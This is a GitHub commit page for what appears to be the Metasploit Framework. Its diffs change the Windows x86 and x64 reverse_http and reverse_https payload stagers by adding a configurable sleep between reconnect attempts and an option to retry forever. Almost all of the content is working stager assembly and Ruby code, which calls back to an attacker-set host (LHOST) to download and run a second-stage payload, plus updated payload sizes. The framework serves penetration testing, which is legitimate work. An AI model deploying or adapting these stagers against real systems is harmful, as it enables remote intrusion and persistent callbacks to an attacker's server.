Skip to content

Commit aa5e9cd

Browse files
author
Brent Cook
committed
Land rapid7#8058, Allow the http_payload stager to sleep before retry
2 parents 7f444c3 + 1d0024e commit aa5e9cd

File tree

6 files changed

+63
-22
lines changed

6 files changed

+63
-22
lines changed

lib/msf/core/payload/windows/reverse_http.rb

Lines changed: 36 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,8 @@ def initialize(*args)
2929
super
3030
register_advanced_options([
3131
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
32-
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
32+
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]),
33+
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]),
3334
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
3435
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
3536
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
@@ -47,7 +48,8 @@ def generate(opts={})
4748
ssl: opts[:ssl] || false,
4849
host: ds['LHOST'],
4950
port: ds['LPORT'],
50-
retry_count: ds['StagerRetryCount']
51+
retry_count: ds['StagerRetryCount'],
52+
retry_wait: ds['StagerRetryWait']
5153
}
5254

5355
# Add extra options if we have enough space
@@ -153,10 +155,12 @@ def required_space
153155
# @option opts [String] :proxy_user The optional proxy server username
154156
# @option opts [String] :proxy_pass The optional proxy server password
155157
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
158+
# @option opts [Integer] :retry_wait The seconds to wait before retry a new request
156159
#
157160
def asm_reverse_http(opts={})
158161

159-
retry_count = [opts[:retry_count].to_i, 1].max
162+
retry_count = opts[:retry_count].to_i
163+
retry_wait = opts[:retry_wait].to_i * 1000
160164
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
161165
proxy_info = ""
162166

@@ -315,15 +319,21 @@ def asm_reverse_http(opts={})
315319
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
316320
call ebp
317321
xchg esi, eax ; save hHttpRequest in esi
318-
322+
^
323+
if retry_count > 0
324+
asm << %Q^
319325
; Store our retry counter in the edi register
320326
set_retry:
321327
push #{retry_count}
322328
pop edi
329+
^
330+
end
323331

332+
asm << %Q^
324333
send_request:
325334
^
326335

336+
327337
if opts[:ssl]
328338
asm << %Q^
329339
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
@@ -349,14 +359,30 @@ def asm_reverse_http(opts={})
349359
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
350360
call ebp
351361
test eax,eax
352-
jnz allocate_memory
362+
jnz allocate_memory
363+
364+
set_wait:
365+
push #{retry_wait} ; dwMilliseconds
366+
push 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
367+
call ebp ; Sleep( dwMilliseconds );
368+
^
369+
370+
if retry_count > 0
371+
asm << %Q^
372+
try_it_again:
373+
dec edi
374+
jnz send_request
353375
354-
try_it_again:
355-
dec edi
356-
jnz send_request
376+
; if we didn't allocate before running out of retries, bail out
377+
^
378+
else
379+
asm << %Q^
380+
try_it_again:
381+
jmp send_request
357382
358-
; if we didn't allocate before running out of retries, bail out
359-
^
383+
; retry forever
384+
^
385+
end
360386

361387
if opts[:exitfunk]
362388
asm << %Q^

lib/msf/core/payload/windows/x64/reverse_http.rb

Lines changed: 23 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,8 @@ def initialize(*args)
2929
super
3030
register_advanced_options([
3131
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
32-
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
32+
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]),
33+
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]),
3334
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
3435
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
3536
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
@@ -52,7 +53,8 @@ def generate(opts={})
5253
ssl: opts[:ssl] || false,
5354
host: ds['LHOST'],
5455
port: ds['LPORT'],
55-
retry_count: ds['StagerRetryCount']
56+
retry_count: ds['StagerRetryCount'],
57+
retry_wait: ds['StagerRetryWait']
5658
}
5759

5860
# add extended options if we do have enough space
@@ -152,10 +154,12 @@ def required_space
152154
# @option opts [String] :proxy_user The optional proxy server username
153155
# @option opts [String] :proxy_pass The optional proxy server password
154156
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
157+
# @option opts [Integer] :retry_wait The seconds to wait before retry a new request
155158
#
156159
def asm_reverse_http(opts={})
157160

158-
retry_count = [opts[:retry_count].to_i, 1].max
161+
retry_count = opts[:retry_count].to_i
162+
retry_wait = opts[:retry_wait].to_i * 1000
159163
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
160164
proxy_info = ""
161165

@@ -320,15 +324,19 @@ def asm_reverse_http(opts={})
320324
mov rsi, rax
321325
^
322326

323-
if retry_count > 1
327+
if retry_count > 0
324328
asm << %Q^
325329
push #{retry_count}
326330
pop rdi
327-
328-
retryrequest:
329331
^
330332
end
331333

334+
335+
asm << %Q^
336+
retryrequest:
337+
^
338+
339+
332340
if opts[:ssl]
333341
asm << %Q^
334342
internetsetoption:
@@ -358,9 +366,15 @@ def asm_reverse_http(opts={})
358366
call rbp
359367
test eax, eax
360368
jnz allocate_memory
369+
370+
set_wait:
371+
mov rcx, #{retry_wait} ; dwMilliseconds
372+
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
373+
call rbp ; Sleep( dwMilliseconds );
361374
^
375+
362376

363-
if retry_count > 1
377+
if retry_count > 0
364378
asm << %Q^
365379
try_it_again:
366380
dec rdi
@@ -369,7 +383,8 @@ def asm_reverse_http(opts={})
369383
^
370384
else
371385
asm << %Q^
372-
jmp failure
386+
jmp retryrequest
387+
; retry forever
373388
^
374389
end
375390

modules/payloads/stagers/windows/reverse_http.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@
99

1010
module MetasploitModule
1111

12-
CachedSize = 327
12+
CachedSize = 339
1313

1414
include Msf::Payload::Stager
1515
include Msf::Payload::Windows

modules/payloads/stagers/windows/reverse_https.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@
99

1010
module MetasploitModule
1111

12-
CachedSize = 347
12+
CachedSize = 359
1313

1414
include Msf::Payload::Stager
1515
include Msf::Payload::Windows

modules/payloads/stagers/windows/x64/reverse_http.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@
99

1010
module MetasploitModule
1111

12-
CachedSize = 501
12+
CachedSize = 520
1313

1414
include Msf::Payload::Stager
1515
include Msf::Payload::Windows

modules/payloads/stagers/windows/x64/reverse_https.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@
99

1010
module MetasploitModule
1111

12-
CachedSize = 532
12+
CachedSize = 551
1313

1414
include Msf::Payload::Stager
1515
include Msf::Payload::Windows

0 commit comments

Comments
 (0)